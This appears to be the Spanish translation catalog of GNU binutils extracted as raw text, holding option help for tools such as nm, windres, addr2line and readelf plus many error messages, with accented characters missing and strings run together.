  -h --headerdir=<directorio>  Define el directorio de exportacin para encabezados
  -u --unicode_in              Lee el fichero de entrada como un fichero UTF16
  -U --unicode_out             Escribe los mensajes binarios como UTF16
  -m --maxlength=<val>         Define la longitud de mensaje mxima permitida
  -n --nullterminate           Agrega automticamente una terminacin cero a las cadenas
  -o --hresult_use             Usa la definicin HRESULT en lugar de la definicin del cdigo de estado
  -O --codepage_out=<val>      Define el cdigo de pgina a usar para escribir el fichero de texto
  -r --rcdir=<directorio>      Define el directorio de exportacin para los ficheros rc
  -x --xdbg=<directorio>       Dnde crear el fichero de inclusin C .dbg
                               que mapea los ID's de los mensajes a su nombre simblico.
Las opciones son:
  -a, --debug-syms        Muestra smbolos slo para el depurador
  -A, --print-file-name   Muestra el nombre del fichero de entrada antes de
                           cada smbolo
  -B                      Igual que --format=bsd
  -C, --demangle[=ESTILO] Decodifica los nombres de smbolo de bajo nivel en
                           nombres de nivel de usuario
                           El ESTILO, si se especifica, puede ser `auto'
                           (por defecto), `gnu', `lucid', `arm', `hp', `edg',
                           `gnu-v3', `java' o `gnat'
      --no-demangle       No decodifica los nombres de smbolo de bajo nivel
  -D, --dynamic           Muestra los smbolos dinmicos en lugar de los
                           smbolos normales
      --defined-only      Muestra solamente los smbolos definidos
  -e                      (se descarta)
  -f, --format=FORMATO    Usa el formato de salida FORMATO.  FORMATO puede ser
                            `bsd', `sysv' o `posix'.  Por defecto es `bsd'
  -g, --extern-only       Muestra solamente los smbolos externos
  -l, --line-numbers      Utiliza la informacin de depuracin para encontrar
                           un nombre de fichero y un nmero de lnea para cada
                           smbolo
  -n, --numeric-sort      Ordena los smbolos numricamente por direccin
  -o                      Igual que -A
  -p, --no-sort           No ordena los smbolos
  -P, --portability       Igual que --format=posix
  -r, --reverse-sort      Cambia el sentido de la ordenacin
 Las opciones son:
  -h --help        Muestra esta informacin
  -v --version     Muestra el nmero de versin del programa
Las opciones son:
  -i --input=<fichero>         Nombra el fichero de entrada
  -o --output=<fichero>        Nombra el fichero de salida
  -I --input-format=<formato>  Especifica el formato de entrada
  -O --output-format=<formato> Especifica el formato de salida
  -F --target=<objetivo>       Especifica el objetivo COFF
     --preprocessor=<programa> Programa a utilizar para preprocesar el fichero rc
  -I --include-dir=<dir>       Incluye el directorio al preprocesar el fichero rc
  -D --define <sim>[=val]      Define un SIMbolo al preprocesar el fichero rc
  -U --undefine <sim>          No define el SIMbolo al preprocesar el fichero rc
  -v --verbose                 Detallado - dice lo que est haciendo
  -c --codepage=<cdigopgina> Establece el cdigo de pgina por defecto
  -l --language=<val>          Establece el lenguaje al leer el fichero rc
     --use-temp-file           Usa un fichero temporal en lugar de popen para
                               leer la salida del preprocesador
     --no-use-temp-file        Usa popen (por defecto)
 Las opciones son:
  -q --quick       (Obsoleto - se descarta)
  -n --noprescan   No realizar una revisin para convertir comunes en definiciones
  -d --debug       Muestra informacin acerca de lo que se est haciendo
  @<fichero>       Lee opciones del <fichero>
  -h --help        Muestra esta informacin
  -v --version     Muestra el nmero de versin del programa
 Las opciones son:
  @<fichero>                   Lee opciones del <fichero>
 Las opciones son:
  @<fichero>              Lee opciones del <fichero>
  -b --target=<nombrebfd> Establece el formato del fichero binario
  -e --exe=<ejecutable>   Establece el nombre del fichero de entrada
                          (por defecto es a.out)
  -i --inlines            Desenreda las funciones inline
  -j --section=<nombre>   Lee los desplazamientos relativos a seccin en lugar
                          de las direcciones
  -s --basenames          Elimina los nombres de directorio
  -f --functions          Muestra los nombres de funcin
  -C --demangle[=estilo]  Desenreda los nombres de funcin
  -h --help               Muestra esta informacin
  -v --version            Muestra la versin del programa

 Las opciones son:
  @<fichero>             Lee opciones del <fichero>
  -h --help              Muestra esta informacin
  -v --version           Muestra la versin del programa

 [sin DW_AT_frame_base] y Lnea por %d a %d
 en el desplazamiento 0x%lx contiene %lu entradas:
 modificadores especficos de la orden:
 rdenes:
 opciones de emulacin: 
 modificadores genricos:
 opcional:
 programa intrprete tipo: %lx, tamaonombre: %08lx, tamaodesc: %08lx
#lneas %d %-35s  %11d  %#18lx
%ld: .bf sin una funcin precedente%ld: .ef inesperado
%lu	%s
%s

%s  %11d  %#18lx
%s nunca se usa %s%c0x%s%s %s: %s%s copiado y borrado al mismo tiempo%s termin con estado %d%s: no tiene ndice de archivo
%s no es una biblioteca%s no es un archivo vlidodatos de seccin %s%s:
%s: %s: direccin fuera de los lmites%s: No se puede abrir el fichero de entrada %s
%s: No se puede abrir el fichero de salida %s
%s: Error: %s: Fall al leer el encabezado del fichero
%s: Fall al leer el nmero mgico del fichero
%s: Formatos coincidentes:%s: Redefiniciones mltiples del smbolo "%s"%s: Se eliminaron los componentes de la ruta del nombre de la imagen, '%s'.%s: El smbolo "%s" es objetivo de ms de una redefinicin%s: Aviso: %s: nombre de fichero de archivo errneo
%s: nmero errneo: %s%s: versin errnea en el subsistema PE%s: no se puede encontrar el fichero de mdulo %s
%s: no se puede abrir el fichero %s
%s: no se puede encontrar la seccin %s%s: no se pueden obtener las direcciones del archivo%s: no se puede establecer la hora: %s%s no se encontr un encabezado de archivo vlido
%s: se alcanz el final de la tabla de smbolos antes que el final del ndice
%s: fall la ejecucin de %s: %s: fall al leer el encabezado del archivo
%s: fall al leer el encabezado del archivo a continuacin del ndice del archivo
%s: fall al leer el ndice del archivo
%s: fall al leer la tabla de smbolos del ndice del archivo
%s: fall al leer la tabla de cadenas de nombre de smbolo largos
%s: fall al buscar de nuevo el inicio de los ficheros objeto en el archivo
%s: fall al buscar el miembro de archivo.
%s: fall al buscar el primer encabezado de archivo
%s: fall al buscar el siguiente encabezado de archivo
%s: fall al buscar el siguiente nombre de fichero
%s: fall al saltar la tabla de smbolos del archivo
%s: el fichero %s no es un archivo
%s: fall fread%s: fall fseek para %lu: %s%s: valor de confirmacin invlido para --heap%s: valor de confirmacin invlido para --stack%s: formato de salida invlido%s: radical invlido%s: valor de reserva invlido para --heap%s: valor de reserva invlido para --stack%s: no hay un mapa de archivo para actualizar%s: no hay un archivo abierto
%s: no hay un archivo de salida abierto
%s: no se ha especificado an un archivo de salida
%s: no se reconoce la informacin de depuracin%s: no hay seccin de recursos%s: no hay smbolos%s: no es un objeto dinmico%s: no hay suficientes datos binarios%s: fall al mostrar la informacin de depuracin%s: la lectura de %lu devolvi %lu%s: ledo: %s%s: arquitecturas admitidas:%s: formatos admitidos:%s: objetivos admitidos:%s: an hay smbolos en la tabla de smbolos de ndice, pero sin su entrada correspondiente en la tabla de ndice
%s: el archivo tiene un ndice pero no tiene smbolos
%s: el ndice del archivo est vaco
%s: se supone que el ndice del archivo tiene %ld entradas, pero el tamao en el encabezado es demasiado pequeo
%s: no se puede volcar el ndice porque ninguno se encontr
%s: fin de fichero inesperado%s: aviso: %s: aviso: las bibliotecas compartidas no pueden tener datos sin iniciar%s: aviso: tamao desconocido para el campo `%s' en la estructura%s:%d: %s
%s:%d: Se descarta la basura encontrada en esta lnea%s:%d: se encontr basura al final de la lnea%s:%d: falta el nombre del smbolo nuevo%s:%d: fin de fichero prematuro'%s''%s' no es un fichero ordinario
'%s': No hay tal fichero'%s': No hay tal fichero
(Operador de ubicacin desconocido)(Operador de ubicacin definido por el usuario)(direccin base)
(se declar como inline y es inline)(se declar como inline pero se descarta)(inlined)(lista de ubicacin)(no es inlined)(inicio == final)(inicio > final)*invlido*el desplazamiento de .debug_info de 0x%lx en la seccin %s no apunta a un encabezado CU.
complemento a 2, big endiancomplemento a 2, little endian: valor duplicado
: se esperaba que fuera un directorio
: se esperaba que fuera una hoja
<Fin de lista>
<especfico del SO>: %d<ndice de la tabla de cadenas corrupto: %3ld><no hay seccin .debug_str><el desplazamiento es demasiado grande><otro>: %x<especfico del procesador> %d:<ndice de la tabla de cadenas: %3ld><agregado desconocido: %lx><desconocido: %x><desconocido>: %d<desconocido>: %lx<desconocido>: %x<desconocido>: 0x%xSe especific un cdigo de pgina con la opcin ,%s' y UTF16.
Exportaciones agregadas al fichero de salidaSe agregan exportaciones al fichero de salidaBiblioteca de auditoraBiblioteca auxiliarno se admite el tipo de coma flotante BCDencabezado del fichero BFD versin %s
sh_info errneo en la seccin de grupo `%s'
sh_link errneo en la seccin de grupo `%s'
Stab errneo: %s
El binario %s contiene:
Se detect un marcador de fin-de-hermanos ambiguo en el desplazamiento %lx en la seccin .debug_info
no est definida la clase base de C++no se encuentra la clase base C++ en el contenedorno se encuentra los datos miembros C++ en el contenedorvalores C++ por defecto no estn en una funcinel objeto C++ no tiene camposla referencia C++ no es un punterono se encontr la referencia C++mtodo virtual static de C++CORE (Fichero ncleo) CU en el desplazamiento %lx contiene un nmero de versin corrupto o no admitido: %d.
CU: %s/%s:
CU: %s:
No se puede desensamblar para la arquitectura %s
No se puede llenar el espacio despus de la seccinNo se puede tener BIBLIOTECA y NOMBRENo se puede abrir el fichero .lib: %sNo se puede abrir el fichero def: %sNo se puede abrir el fichero %s
No se puede utilizar la mquina %s proporcionadaNo se pueden interpretar direcciones virtuales sin encabezados de programa.
No se puede producir una dll mcore-elf del fichero archivo: %sFichero de configuracinContenido de la seccin %s:

Contenido de la seccin %s:Contenido de la seccin %s:
Contenido de la seccin %s:

Convierte un fichero objeto COFF a un fichero objeto SYSROFF
Copyright 2009 Free Software Foundation, Inc.
Se encontr una longitud de unidad corrupta (%lx) en la seccin %s
No se puede encontrar '%s'.  Mensaje de error del sistema: %s
No se puede obtener el tipo interno desenredado
Se cre el fichero de bibliotecaSe crea el fichero de biblioteca: %sSe crea el fichero de cabos: %sEl archivo actualmente abierto es %s
DIE en el desplazamiento %lx se refiere al nmero de abreviacin %lu el cual no existe
nombre DLLTOOL  : %s
opciones DLLTOOL: %s
nombre DRIVER   : %s
opciones DRIVER : %s
DW_FORM_data8 no se admite cuando sizeof (unsigned long) != 8
el desplazamiento DW_FORM_strp es demasiado grande: %lx
DYN (Fichero objeto compartido)La informacin de depuracin est corrupta, el desplazamiento abbrev (%lx) es mayor que el tamao de la seccin abbrev (%lx)
La informacin de depuracin est corrupta, la longitud de CU en %lx se extiende ms all del final de la seccin (longitud = %lx)
Volcado decodificado del contenido de depuracin de la seccin %s:

Se borra el fichero base temporal %sSe borra el fichero def temporal %sSe borra el fichero exp temporal %sEl nombres desenredado no es una funcin
Biblioteca de auditora de dependenciasAn no se admite el mostrar el contenido de depuracin de la seccin %s.
No se conocen las reubicaciones en esta arquitectura de mquina
%s ledoSe ingres un smbolo duplicado en la lista de palabras clave.Encabezado ELF:
ERROR: Longitud de seccin errnea (%d > %d)
ERROR: Longitud de subseccin errnea (%d > %d)
EXEC (Fichero ejecutable)Fin de la Secuencia

Punto de entrada Error, EXPORT duplicado con ordinales: %sSe excluye el smbolo: %sFall la ejecucin de %sEl FORMATO es uno de rc, res, o coff, y se deduce de la extensin del nombre
de fichero si no se especifica.  Un solo nombre de fichero es un fichero de
entrada.  Sin fichero de entrada es la entrada estndar, por defecto rc.
Sin fichero de salida es la salida estndar, por defecto rc.
No se puede determinar la longitud de la ltima cadena
Fall al mostrar la plantilla desenredada
Fall al leer el nmero de cubos
Fall al leer el nmero de cadenas
El fichero %s no es un archivo por lo cual no se puede mostrar su ndice.
El fichero contiene mltiples tablas dinmicas de cadenas
El fichero contiene mltiples tablas dinmicas de smbolos
El fichero contiene mltiples tablas symtab shndx
Nombre fichero                       Num lnea      Direccin inicio
Biblioteca de filtroOpciones:Se suprimen los avisos restantes sobre marcardores de fin-de-hermanos ambiguos
GOTFichero de exportacin generadoSe genera el fichero de exportacin: %sentrada de ID de directorioID de recursoID de subdirectoriodesbordamiento numrico IEEE: 0xdesbordamiento de longitud de cadena IEEE: %u
no se admite el tamao de tipo complejo IEEE %u
no se admite el tamao de tipo coma flotante IEEE %u
no se admite el tamao de tipo entero IEEE %u
Ind Nombre        Tamao    VMA               LMA               Desp fich AlinInd Nombre        Tamao    VMA       LMA       Desp fich AlinLa biblioteca de importacin `%s' especifica dos o ms dllsEn el fichero %s:
ndice del archivo %s: (%ld entradas, 0x%lx bytes en la tabla de smbolos)
El fichero de entrada '%s' no es legible.
Error interno: la versin DWARF no es 2  3.
Error interno: Tipo de mquina desconocido: %dError interno: no se puede crear la cadena de formato para mostrar el intrprete de programa
Opcin '-%c' invlida
Radical invlido: %s
Se conserva el fichero base temporal %sSe conserva el fichero def temporal %sSe conserva el fichero exp temporal %sClave para Opciones:
  W (escribir), A (asignar), X (ejecutar), M (mezclar), S (cadenas)
  I (info), L (orden enlazado), G (grupo), x (desconocido)
  O (se requiere procesamiento extra del SO) o (especfico del SO)
  p (especfico del procesador)
BIBLIOTECA: %s base: %xltimas entradas stabs antes del error:
Rpath de la biblioteca: [%s]Ruta de ejecucin de la biblioteca: [%s]Nombre-so de la biblioteca: [%s]La lista de reubicacin que comienza en el desplazamiento 0x%lx no est terminada.
Las listas de ubicacin en la seccin %s empiezan en 0x%lx
Las listas de ubicacin en la seccin .debug_info no estn en orden ascendente!
No se admite la mquina '%s'Falta el conocimiento de los tipos de reubicacin de 32-bit usados en las secciones DWARF del nmero de mquina %d
Renombrado mltiple de la seccin %sSe debe proveer por lo menos una de las opciones -o  --dllnameNOMBRE: %s base: %xNONE (Ninguno)NT_ARCH (arquitectura)NT_AUXV (vector auxiliar)NT_FPREGS (registros de coma flotante)NT_FPREGSET (registros de coma flotante)NT_GNU_ABI_TAG (etiqueta de versin de ABI)NT_GNU_BUILD_ID (cadena de bits de ID de construccin nica)NT_GNU_GOLD_VERSION (versin de gold)NT_GNU_HWCAP (informacin de HWCAP de software proporcionado por DSO)NT_LWPSINFO (estructura lwpsinfo_t)NT_LWPSTATUS (estructura lwpstatus_t)NT_PPC_VMX (registros Altivec de ppc)NT_PPC_VSX (registros VSX de ppc)NT_PRPSINFO (estructura prpsinfo)NT_PRSTATUS (estructura prstatus)NT_PRXFPREG (estructura user_xfpregs)NT_PSINFO (estructura psinfo)NT_PSTATUS (estructura pstatus)NT_TASKSTRUCT (estructura task)NT_VERSION (versin)NT_WIN32PSTATUS (estructura win32_pstatus)N_LBRAC no est dentro de una funcin
Nombre                Valor           Clase        Tipo         Tamao           Lnea Seccin

Nombre                Valor   Clase        Tipo         Tamao   Lnea Seccin

ndice de nombres: %ld
Nombre: %s
estructura procinfo de NetBSDNo est presente la seccin %s

 No hay unidades de compilacin en la seccin %s ?No hay una entrada %s en el archivo.
No hay un nombre de fichero a continuacin de la opcin -fo.
No hay listas de ubicacin en la seccin .debug_info!
No hay desenredo para "%s"
No hay un miembro llamado `%s'
No hay segmentos de notas presentes el el fichero core.
No hay listas de rango en la seccin .debug_info!
NingunoNo es un fichero ELF - tiene los bytes mgicos errneos en el inicio
No hay suficiente memoria para una matriz de informacin de depuracin de %u entradasObjeto innecesario: [%s]
Nada por hacer.
Especfico del SO: (%x)El desplazamiento %lx usado como valor para el atributo DW_AT_import de DIE en el desplazamiento %lx es demasiado grande.
El desplazamiento 0x%lx es ms grande que el tamao de la seccin .debug_loc.
Solamente se admite -X 32_64Solo se admiten actualmente aranges de DWARF 2 y 3.
Solo se admiten actualmente los nombres pblicos DWARF 2 y 3
Solo se admite actualmente la informacin de lnea de DWARF versin 2 y 3.
Se abri el fichero temporal: %sespecfico del Sistema Operativo: %lxLa opcin -I es obsoleta para establecer el formato de salida, por favor use -J en su lugar.
Memoria agotada
Memoria agotada al asignar 0x%lx bytes para %s
Memoria agotada al asignar la tabla de peticin de volcado.
Memoria agotada al leer los nombres de smbolo long en el archivo
Memoria agotada al tratar de convertir el ndice de smbolos del archivo
Memoria agotada al tratar de leer la tabla de smbolos del ndice del archivo
Memoria agotada al tratar de leer el ndice de smbolos del archivo
GOT de PLTPT_FIRSTMACH+%dPT_GETFPREGS (estructura fpreg)PT_GETREGS (estructura reg)no se admite el nombre de fichero PascalSe eliminaron los componentes de la ruta del nombre de dll, '%s'.Tamao del puntero + Tamao del segmento no es una potencia de dos.
Muestra una interpretacin legible por humanos de un fichero objeto SYSROFF
No se inicializ la anchura de la impresin (%d)Muestra los bytes de la entrada estndar en formato hexadecimal.
Fichero def procesadoDefiniciones procesadasSe procesa el fichero def: %sSe procesan definicionesEspecfico del Procesador: %lxEspecfico del Procesador: (%x)REL (Fichero reubicable)Las listas de rango en la seccin %s inician en 0x%lx
Volcado crudo del contenido de depuracin de la seccin %s:

Fall al leer la seccin %s de %s: %sReportar bichos a %s
Reportar bichos a %s.
Se encontr un valor de longitud reservado (%lx) en la seccin %s
Se revisa el fichero objeto %sLa seccin %d tiene un sh_entsize %lx invlido (se esperaba %lx)
La seccin %d no se volc porque no existe!
La seccin '%s' no se volc porque no existe!
Los encabezados de seccin no estn disponibles!
Secciones:
Biblioteca compartida: [%s]Se salta el tipo de reubicacin %s inesperado
Aplicacin por S SolaSe succiona la informacin de la seccin %s en %sArquitecturas admitidas:Objetivos admitidos:Error sintctico en el fichero def %s:%dLa informacin en la seccin %s parece estar corrupta - la seccin es demasiado pequea
La informacin de lnea parece estar corrupta - esta seccin es demasiado pequea
Hay %d encabezados de seccin, comenzando en el desplazamiento: 0x%lx:
Hay %ld bytes sin usar al final de la seccin %s
Hay un agujero [0x%lx - 0x%lx] en la seccin %s.
Hay un agujero [0x%lx - 0x%lx] en la seccin .debug_loc.
Hay un traslape [0x%lx - 0x%lx] en la seccin %s.
Hay un traslape [0x%lx - 0x%lx] en la seccin .debug_loc.
Esta instancia de readelf ha sido construida sin soporte para un
tipo de datos de 64 bit y por eso no puede leer ficheros ELF de 64 bit.
Este programa es software libre; se puede redistribuir bajo los trminos de
la Licencia Pblica General de GNU versin 3 o (a su criterio) cualquier
versin posterior.

Este programa no tiene ninguna garanta.
Demasiados N_RBRACs
Se intent `%s'
Fichero intentado: %sNmero de tipo de fichero %d fuera de rango
Nmero de tipo de ndice %d fuera de rango
UNKNOWN: longitud %d
No se puede cambiar la endianez del (los) fichero(s) de entradaNo se puede determinar el nombre dll para `%s' (No es una biblioteca de importacin?)No se puede determinar la longitud de la tabla dinmica de cadenas
No se puede determinar el nmero de smbolos a cargar
No se puede encontrar el nombre del intrprete de programa
No se puede cargar/decodificar la seccin .debug_info, por eso no se puede interpretar la seccin %s.
No se puede localizar la seccin %s!
No se puede abrir el fichero-base: %sNo se puede abrir el fichero objeto: %sNo se puede abrir el fichero temporal de ensamblador: %sNo se pueden leer 0x%lx bytes de %s
No se pueden leer los datos dinmicos
No se puede leer el nombre del intrprete de programa
No se puede reconocer el formato del ficheroNo se puede reconocer el formato del fichero de entrada `%s'No se puede buscar a 0x%lx para %s
No se puede alcanzar el final del fichero
No se puede alcanzar el final del fichero!
No se puede encontrar el inicio de la informacin dinmica
N_EXCL sin definirvarargs desenredados inesperados
Tipo inesperado en la lista de argumentos de desenredo v3
Se encontr un tipo de reubicacin MN10300 sin manejar despus de la reubicacin SYM_DIFFLongitud de datos sin manejar: %d
Valor AT desconocido: %lxValor FORM desconocido: %lxValor TAG desconocido: %lxFormato '%c' desconocido
Tipo de nota desconocido: (0x%08x)No se reconoce el tipo XCOFF %d
No se reconoce la opcin de depuracin '%s'
No se reconoce la seccin de depuracin: %s
No se reconoce el componente de desenredo %d
No se reconoce el tipo interno desenredado
No se reconoce form: %lu
Modo de empleo %s <opcion(es)> <fichero(s)-objeto>
Modo de empleo: %s < fichero_entrada > fichero_salida
Modo de empleo: %s <opcion(es)> <fichero(s)>
Modo de empleo: %s <opcion(es)> fichero(s)-entrada
Modo de empleo: %s [opciones emulacin] [--plugin <nombre>] [-]{dmpqrstx}[abcfilNoPsSuvV] [nombre-miembro] [cuenta] fichero-archivo fichero...
Modo de empleo: %s [opciones emulacin] [-]{dmpqrstx}[abcfilNoPsSuvV] [nombre-miembro] [cuenta] fichero-archivo fichero...
Modo de empleo: %s [opcion(es)] [direccion(es)]
Modo de empleo: %s [opcion(es)] [fichero(s)]
Modo de empleo: %s [opcion(es)] [fichero-entrada [fichero-salida]]
Modo de empleo: %s [opcion(es)] [fichero-entrada]
Modo de empleo: %s [opcion(es)] [fichero-entrada] [fichero-salida]
Modo de empleo: %s [opcion(es)] fichero-entrada
Modo de empleo: %s [opcion(es)] fichero-entrada [fichero-salida]
Modo de empleo: %s [opciones] archivo
Modo de empleo: readelf <opcion(es)> fichero(s)-elf
Se utiliza `%s'
Se usa el fichero: %sSe usa popen para leer la salida del preprocesador
Se usa el fichero temporal `%s' para leer la salida del preprocesador
Al usar juntas las opciones --size-sort y --undefined-onlyEl valor para `N' debe ser positivo.La direccin virtual 0x%lx no est ubicada en ningn segmento PT_LOAD.
Aviso, se descartan las EXPORTaciones duplicadas %s %d,%dAviso, el tipo de mquina (%d) no se admite para delayimport.Aviso: %s: %s
Aviso: '%s' no es un fichero ordinarioAviso: El fichero de salida no puede representar a la arquitectura `%s'Aviso: cambiando el tamao del tipo de %d a %d
Aviso: no se puede localizar '%s'. razn: %sAviso: se descarta el valor previo --reverse-bytes de %dAviso: se requiere el objetivo de entrada 'binary' para el parmeto binario de arquitectura.Aviso: truncando el relleno de espacio de 0x%s a 0x%x[<desconocido>: 0x%x]`N' slo tiene sentido con las opciones `x' y `d'.`u' no tiene sentido con la opcin `D'.`u' slo tiene sentido con la opcin `r'.no se puede usar `x' en archivos delgados.aceleradorarquitectura %s desconocidaarquitectura: %s, atributosregistro ATN65 errneoposicin o tamao errneo del campo de bit C++smbolo dinmico errneo
formato errneo para %snombre desenredado errneamente `%s'
grabacin misc errnearegistro errneo: tipo errneo para la funcin del mtodo C++se encontr un operador extendido de lnea mal formado!
bfd_coff_get_auxent fall: %sbfd_coff_get_syment fall: %sfall bfd_open al abrir el fichero de cabos: %sse dejaron bloques en la pila al finalel nmero de bytes debe ser menor al espacioel nmero de bytes no debe ser negativono se puede determinar el tipo del fichero `%s'; use la opcin -JNo se puede agregar rellenono se puede agregar la seccin '%s'no se puede abrir el fichero %s ,%s' para salida.
no se puede crear la seccin de depuracinno se puede crear la seccin `%s'no se puede ejecutar `%s': %sno se puede obtener el tipo de reubicacin BFD_RELOC_RVAno se puede abrir %s `%s': %sno se puede abrir `%s' para salida: %sno se puede abrir el fichero temporal `%s': %sno se puede hacer popen de `%s': %sno se puede redirigir la salida estndar: `%s': %sno se puede establecer el objetivo BFD por defecto a `%s': %sno se puede establecer el contenido de la seccin de depuracinno se puede crear la seccin de enlace de depuracin `%s'no se puede crear el directorio temporal para copiar el archivo (error: %s)no se puede borrar %s: %sno se puede llenar la seccin de enlace de depuracin `%s'no se puede abrir '%s': %sno se puede abrir el fichero de entrada %sno se puede abrir: %s: %sno se pueden invertir bytes: la longitud de la seccin %s debe ser divisible por par por %dtiene conflictos conse encontr una lista de conflictos sin una tabla de smbolos dinmicos
falta el indicador const/volatilelos datos de control requieren DIALOGEXcopia de `%s' [%s] a `%s' [%s]
copia de `%s' [desconocido] a `%s' [desconocido]
se encontr una nota corrupta en el desplazamiento %lx en las notas de ncleo
no se puede crear el fichero temporal para contener la copia con smbolos eliminadosno se puede determinar el tipo del smbolo nmero %ld
no se puede abrir el fichero de redefinicin de smbolos %s (error: %s)creando %scursorel fichero de cursor `%s' no contiene datos de cursorseccin a la medidaentrada de datostamao de datos %lddebug_add_to_current_namespace: no hay un fichero actualdebug_end_block: se intenta cerrar el bloque del nivel principaldebug_end_block: no hay un bloque actualdebug_end_common_block: sin implementardebug_end_function: no hay una funcin actualdebug_end_function: algunos bloques no estaban cerradosdebug_find_named_type: no hay una unidad de compilacin actualdebug_get_real_type: informacin de depuracin circular para %s
debug_make_undefined_type: no se admite el gnerodebug_name_type: no hay fichero actualdebug_record_function: no hay una llamada debug_set_filenamedebug_record_label: sin implementardebug_record_line: no hay una unidad actualdebug_record_parameter: no hay una funcin actualdebug_record_variable: no hay un fichero actualdebug_start_block: no hay un bloque actualdebug_start_common_block: sin implementardebug_start_source: no hay una llamada debug_set_filenamedebug_tag_type: se intent una marca extradebug_tag_type: no hay fichero actualdebug_write_type: se encontr un tipo ilegalcontrol del dilogodatos de control del dilogofin del control del dilogotamao de punto de la tipografa del dilogoencabezado de dilogocontrol del dialogexinformacin de tipografa del dialogexdirectorionombre de entrada de directoriono se sabe cmo escribir la informacin de depuracin para %sseccin dinmicatabla de cadena dinmicascadenas dinmicaserror al copiar los datos privados BFDerror en los datos de encabezado privadoerror: la anchura de la instruccin debe ser positivaerror: el descarte de prefijo no debe ser negativoerror: el fichero de entrada '%s' est vacoerror: la direccin de inicio debe estar antes de la direccin finalerror: la direccin de parada debe estar despus de la direccin finalno hay coincidencia en la pila de expresindesbordamiento de la pila de expresindesbordamiento por debajo de la pila de expresinno se pueden copiar los datos privadosno se puede crear la seccin de salidafall al abrir el fichero de encabezado temporal: %sfall al abrir el fichero de cola temporal: %sFall la lectura del nmero de entradas del fichero baseno se puede establecer la alineacinno se puede establecer el tamaono se puede establecer vmase requiere un nombre de fichero para la entrada COFFse requiere un nombre de fichero para la salida COFFinformacin de versin fijaopciones 0x%08x:
fontdirnombre de dispositivo fontdirnombre de familia fontdirencabezado fontdirgrupo de cursoresencabezado de grupo de cursoresgrupo de iconosencabezado de grupo de iconostiene hijosel ID de ayuda requiere DIALOGEXseccin de ayudael fichero de icono `%s' no contiene datos de iconose descarta el valor alternativoopcin ilegal -- %cndice de tipo ilegalndice de variable ilegallos ficheros de entrada y salida deben ser diferentesel fichero de entrada no parece ser UTF16.
fichero de entrada nombrado en la lnea de rdenes y con INPUTel espacio debe ser positivoerror interno -- esta opcin no est implementadaerror interno de stat en %sargumento invlido para --format: %sse especific un cdigo de pgina invlido
argumento entero %s invlidolongitud de cadena mnima %d invlidanmero invlidoopcin -f invlida
longitud de cadena invlidase especific un valor invlido para el pragma code_page.
lista de bibliotecastabla de cadenas liblisthace seccin .bsshace seccin .nlmsectionscrea seccinencabezado de menencabezado de menuexdesplazamiento de menuexelemento de menencabezado de elemento de menseccin de mensajesfalta el tipo de ndicefalta el ASN requeridofalta el ATN65 requeridoseccin de mdulosms de un segmento dinmico
entrada nombrada de directoriorecurso nombradosubdirectorio nombradono hay una seccin .dynamic en el segmento dinmico
no hay tipos de argumento en la cadena desenredada
sin hijosno existe la entrada %s en el archivo
No hay una entrada %s en el archivo %s!no se provee un fichero de definicin de exportacin.
Se crea uno, pero tal vez eso no es lo que quiereno hay informacin para el smbolo nmero %ld
no hay fichero de entradano se especific un fichero de entradano hay nombre para el fichero de salidano se especific una operacinno hay recursosno hay smbolos
no hay informacin de tipo para la funcin del mtodo C++ningunono se elimina el smbolo `%s' porque se nombra en una reubicacinnotascadena unicode terminada en nullel nmero de bytes para reverse debe ser positivo y pardesbordamiento numricoopcionesmemoria agotada al decodificar reubicaciones
desbordamiento al ajustar la reubicacin contra %sparse_coff_type: Cdigo de tipo 0x%x errneofall el preprocesamiento.encabezados de programael parmetro de referencia no es un punterola cuenta de reubicacin es negativareubicacionesID de recursodatos de recursostamao de datos de recursostipo de recurso desconocidoseccin de rpcla seccin '%s' tiene el tipo NOBITS - su contenido no es confiable.
seccin 0 en la seccin de grupo [%5u]
la seccin [%5u] en la seccin de grupo [%5u] > mximo de seccin [%5u]
la seccin [%5u] en la seccin de grupo [%5u] ya est en la seccin de grupo [%5u]
contenido de la seccindatos de seccinencabezados de seccinestablece vma .bssestablece tamao de .dataestablece el contenido de .nlmsectionestablece el tamao de .nlmsectionsestablece la Direccin a 0x%lx
establece el Discriminador a %lu
establece la alineacin de la seccinestablece las opciones de la seccinestablece el tamao de la seccinestablece la direccin de inicioseccin compartidase salta el desplazamiento de reubicacin invlido 0x%lx en la seccin %s
se salta el tipo de smbolo %s inesperado en la %ld-sima reubicacin en la seccin %s
perdn - este programa se construy sin soporte para plugins
stab_int_type: tamao %u errneodesbordamiento de la piladesbordamiento de la pila por debajostat fall en el fichero de mapa de bits `%s': %sstat fall en el fichero `%s': %sstat fall en el fichero de tipografa `%s': %sstat devuelve un valor negativo para `%s'tabla de cadenasstring_hash_lookup fall: %scadena stringtablelongitud de la cadena stringtabletamaos de la seccin de cabosel subproceso recibi la seal fatal %dsoporte no compilado para %sopciones admitidas: %sinformacin del smbolosmbolossymtab shndxla seccin .dynamic no est contenida en el segmento dinmico
la seccin .dynamic no es la primera seccin en el segmento dinmico.
este objetivo no admite los cdigos de mquina alternativos %luen su lugar, se trata ese nmero como un valor e_machine absolutose trat de agregar un lenguaje errneo.se especificaron dos opciones de operacin diferentesno se puede aplicar el tipo de reubicacin no admitido %d a la seccin %s
no se puede copiar el fichero '%s'; razn: %sno se puede abrir el fichero ,%s' para salida.
no se puede abrir el fichero de salida %sno se puede decodificar el cdigo mquina alternativono se puede leer el contenido de %sno se puede renombrar '%s'; razn: %sobjeto C++ sin definirvtable C++ sin definirvariable sin definir en ATNvariable indefinida en TYversin DIALOGEX %d inesperadafin inesperado de la informacin de depuracininformacin de versin de versin fija %lu inesperadalongitud de la informacin de versin fija %ld inesperadafirma de versin fija %lu inesperadatipo de grupo de cursores %d inesperadotipo de grupo de iconos %d inesperadonmero inesperadotipo de grabacin inesperadocadena inesperada en misc de C++longitud del valor stringfileinfo %ld inesperadalongitud de valor varfileinfo %ld inesperadacadena de versin inesperadalongitud de cadena de versin %ld != %ld + %ld inesperadalongitud de cadena de versin %ld < %ld inesperadaversin de longitud de valor stringtable %ld inesperadatipo de versin %d inesperadalongitud de valor de versin %ld inesperadadesconocidotipo ATN desconocidotypo BB desconocidonombre C++ codificado desconocidovisibilidad C++ desconocidasubsistema PE desconocido: %scdigo TY desconocidotipo interno desconocidoestilo de desenredo `%s' desconocidotipo de formato `%s' desconocidoobjetivo EFI de entrada desconocido: %sopcin de nombres de seccin largos '%s' desconocidamac desconocidaobjetivo EFI de salida desconocido: %sseccin desconocidacarcter virtual desconocido para la clase basecarcter de visibilidad desconocido para la clase basecarcter de visibilidad desconocido para 